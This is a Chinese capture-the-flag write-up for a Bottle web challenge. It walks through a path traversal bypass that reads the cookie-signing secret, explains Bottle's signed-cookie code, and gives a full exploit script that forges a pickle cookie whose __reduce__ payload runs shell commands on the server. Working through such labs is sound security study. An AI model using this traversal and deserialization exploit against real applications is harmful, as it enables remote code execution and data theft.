bottle模板的set_cookie和get_cookie的理解
我们来看这道题的源码
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)
目录穿越访问/secret.txt
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default
这个很好绕过,题目中只是说不能以/或者../开头,且不能包含../../,直接./../绕过就好了
/download?filename=./.././../secret.txt
查看get_cookie源码
拿到secret后不知道要干啥了,我们来看一下get_cookie的源码
vscode中摁住ctrl左键点击get_cookie就能看到源码
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default
一点一点来分析这段代码
value = self.cookies.get(key)
首先从self.cookies字典中获取指定key的cookie值。如果该cookie存在,value将是对应的值;若不存在,则value将为None
if secret:
判断是否传入了secret参数,如果提供了secret,就意味着我们需要进行签名验证来确保cookie的完整性和安全性
if value and value.startswith('!') and '?' in value:
检查value是否存在, 并且确认格式是否正确,是否以叹号开头并且包含问号,问号(?)是用来分割签名(sig)和消息(msg)的标识
sig, msg = map(tob, value[1:].split('?', 1))
从cookie中提取出签名和消息部分
value[1:]跳过开头的叹号
split('?', 1)按照问号分割,只分割一次
map(tob, ...)将分割后的签名和消息转换为字节格式(tob函数假设将字符串转换为字节)
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
使用提供的secret和msg生成一个哈希签名,验证cookie是否被篡改。这里使用了HMAC(Hash-based Message Authentication Code),并利用指定的digestmod(默认为hashlib.sha256)算法计算哈希
if _lscmp(sig, base64.b64encode(hash)):
将计算出来的哈希值与从cookie中提取的sig进行比较,通过_lscmp函数确保他们是相等的。如果相等,意味着该cookie是有效的,没有被篡改
dst = pickle.loads(base64.b64decode(msg))
如果签名验证通过,则对消息进行解码。这里使用base64.b64decode先对消息进行base64解码,然后再用pickle.loads将其反序列化为原始数据结构。
if dst and dst[0] == key:
return dst[1]
确保解码得到的对象dst不是空,并且其第一个元素与请求的key匹配。如果匹配,则返回该cookie的值dst[1]
return default
如果没有找到该cookie、签名不匹配、或者其他任何情况导致未能成功获取cookie,则返回提供的默认值default
总结
这样其实利用点就很清晰了,我们需要伪造一个cookie能通过get_cookie的验证到达反序列化这一步,然后利用pickle反序列化中的reduce魔术方法在反序列化的同时执行我们的代码。下一步就是如何构造这个cookie使得能让他通过get_cookie的验证。
set_cookie
在bottle模板中,与get_cookie对应的就是set_cookie,一个构造cookie,一个验证cookie。也就是说如果我们要利用get_cookie进行pickle反序列化执行我们的代码,我们就要利用set_cookie来构造cookie通过get_cookie的验证。
查看set_cookie源码
我们老办法查看set_cookie的源码
def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options):
if not self._cookies:
self._cookies = SimpleCookie()
# Monkey-patch Cookie lib to support 'SameSite' parameter
# https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1
if py < (3, 8, 0):
Morsel._reserved.setdefault('samesite', 'SameSite')
if secret:
if not isinstance(value, basestring):
depr(0, 13, "Pickling of arbitrary objects into cookies is "
"deprecated.", "Only store strings in cookies. "
"JSON strings are fine, too.")
encoded = base64.b64encode(pickle.dumps([name, value], -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded,
digestmod=digestmod).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
只需要看到这里就可以了,因为这个题就要用到secret进行签名
if not self._cookies:
self._cookies = SimpleCookie()
检查cookie是否存在。如果不存在,则初始化一个SimpleCookie对象,这是python标准库中用于处理cookies的类
# Monkey-patch Cookie lib to support 'SameSite' parameter
if py < (3, 8, 0):
Morsel._reserved.setdefault('samesite', 'SameSite')
这里是兼容旧版本python
if secret:
if not isinstance(value, basestring):
depr(0, 13, "Pickling of arbitrary objects into cookies is "
"deprecated.", "Only store strings in cookies. "
"JSON strings are fine, too.")
判断是否传入了secret参数,如果传入了表示该cookie是一个经过签名的cookie,然后检查value是否为字符串。如果不是字符串则发出警告,表明不建议将任意对象序列化到cookie中
encoded = base64.b64encode(pickle.dumps([name, value], -1))
将cookie的名称和值打包成一个列表,并使用pickle.dumps进行序列化,然后使用base64编码,以便安全地存储在cookie中。
sig = base64.b64encode(hmac.new(tob(secret), encoded,
digestmod=digestmod).digest())
使用HMAC和提供的secret对编码后的值进行哈希,生成一个签名(sig),确保cookie的完整性和安全性
value = touni(tob('!') + sig + tob('?') + encoded)
将叹号,sig,问号和编码后的值组合成最终的cookie值。这种格式用于标明这是一个签名cookie
总结
c=cmd()
response.set_cookie("name",c,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
print(response.set_cookie)
我们的思路明确了,要想绕过get_cookie的判断,就要利用set_cookie来伪造一个cookie,secret我们已经拿到了,下面就是往里面塞入代码,使得cookie在反序列化的时候能够执行我们想让他执行的代码
构造exp
首先构造反序列化执行的部分
class cmd():
def __reduce__(self):
return (eval,("__import__('os').popen('cat /f*>>/app/app/app.py').read()"))
然后就是生成cookie的部分
c=cmd()
response.set_cookie("name",c,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
print(response.set_cookie)
这样就可以成功绕过get_cookie的判断,secret签名正确,然后就会将name的值反序列化,反序列化时就会触发reduce魔术方法执行return的内容,我们就成功把/f*的内容写入到了/app/app/app.py中,我们通过download路由访问这个文件就能拿到flag。
完整exp
from bottle import Bottle, request, response,run, route
class cmd():
def __reduce__(self):
return (exec,("__import__('os').popen('cat /f*>/app/app/app.py').read()",))
c = cmd()
#session = {"name":c}
response.set_cookie("name",c,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
print(response._cookies)
解题
运行拿到cookie
我们拿着这个cookie替换环境中原有的cookie
刷新,通过download路由文件读取app.py,拿到flag
仍是萌新,个人理解,用作学习记录,如有错误请师傅们指出。